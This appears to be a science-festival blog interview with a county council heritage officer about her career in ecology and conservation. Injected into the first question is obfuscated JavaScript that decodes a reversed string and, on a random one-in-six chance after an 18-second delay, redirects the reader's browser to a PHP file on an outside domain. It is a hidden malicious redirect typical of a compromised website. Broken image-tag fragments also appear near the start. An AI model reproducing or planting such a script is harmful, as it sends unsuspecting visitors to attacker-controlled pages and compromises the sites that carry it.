Mixing a little Science with some Heritage!

dor.jpg”>dor-300×215.jpg” alt=”” width=”300″ height=”215″ />We are delighted to be working with friend to the Midlands Science festival, Catherine Casey who is Heritage Officer for Laois County Council and fellow science enthusiast!

Catherine, you are the Heritage Officer for Laois County Council and friend to the Midlands Science Festival.. $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you have a science background?

Yes, I studied Science in UCD, graduating with a degree in Zoology. I went on the study Ecology in more detail and graduated with a Master of Science degree from Durham University in the UK in 1992.

Can you tell us a little bit about your role and the path you took to get there?

The Heritage Officer role is very diverse, covering all aspects of Ireland’s built, natural and cultural heritage, so everything from archaeology to wildlife! The role is supported by the national Heritage Council, based in Kilkenny, and I am lucky to be part of a great network of Local Authority Heritage Officers covering most counties in Ireland.

It was a steep learning curve for me moving in to this role in 2003, and I sill learn something new every single day. Before starting with Laois County Council I worked with BirdWatch Ireland for over 10 years, first as a fieldworker on the Corncrake conservation programme, and later focussing more on conservation policy and advocacy, mostly around Ireland’s threatened farmland birds. Wildlife is a big part of the Heritage Officer role, but only one part of it, and I have relied very much on the support of the Heritage Council and colleagues from other diverse backgrounds to help me develop the new skills I needed for this role.

What is the best thing about your job?

It’s incredibly rewarding to work closely with communities and committed local volunteers who care so much about their heritage and give up so much of their time to enhance their own local area. I feel very lucky to be in a position to work with such dedicated and enthusiastic people.

Is public engagement an important part of your work and if so, why?

Yes it’s central to the role of Heritage Officer, because agencies and local authorities can only achieve so much, we need to harness to love and appreciation that all local people have for their heritage, and to ensure that it is passed on to future generations.

There’s a quote I love from a forester from Senegal called Baba Dioum: “In the end, we will conserve only what we love; we will love only what we understand and we will understand only what we are taught.” That sums it up really.

Why are events like the Midlands Science Festival so important?

While we work year-round to enhance awareness, concentrated events like Science Week and Heritage Week are a great opportunity to reach a much larger audience, to be part of a national event and to achieve greater coverage in the media. I think as a result of a greater background level of awareness, families may try out events during Science Week that they might not otherwise know about or make time for. And one event can be the start of the awakening of a love for science in a young person, and who knows where that might lead.

How would you encourage more young people to consider a career in science?

That’s a tough one! I might go against the grain and say start with what you love, and what interests you. None of us really knows what career opportunities lie ahead when we chose a course of study – the role of Heritage Officer didn’t even exist when I started college, and careers in conservation we few and far between in this country. But choosing something I loved to study, led me to a career I love, and that fills me with enthusiasm every day. Who could ask for more than that?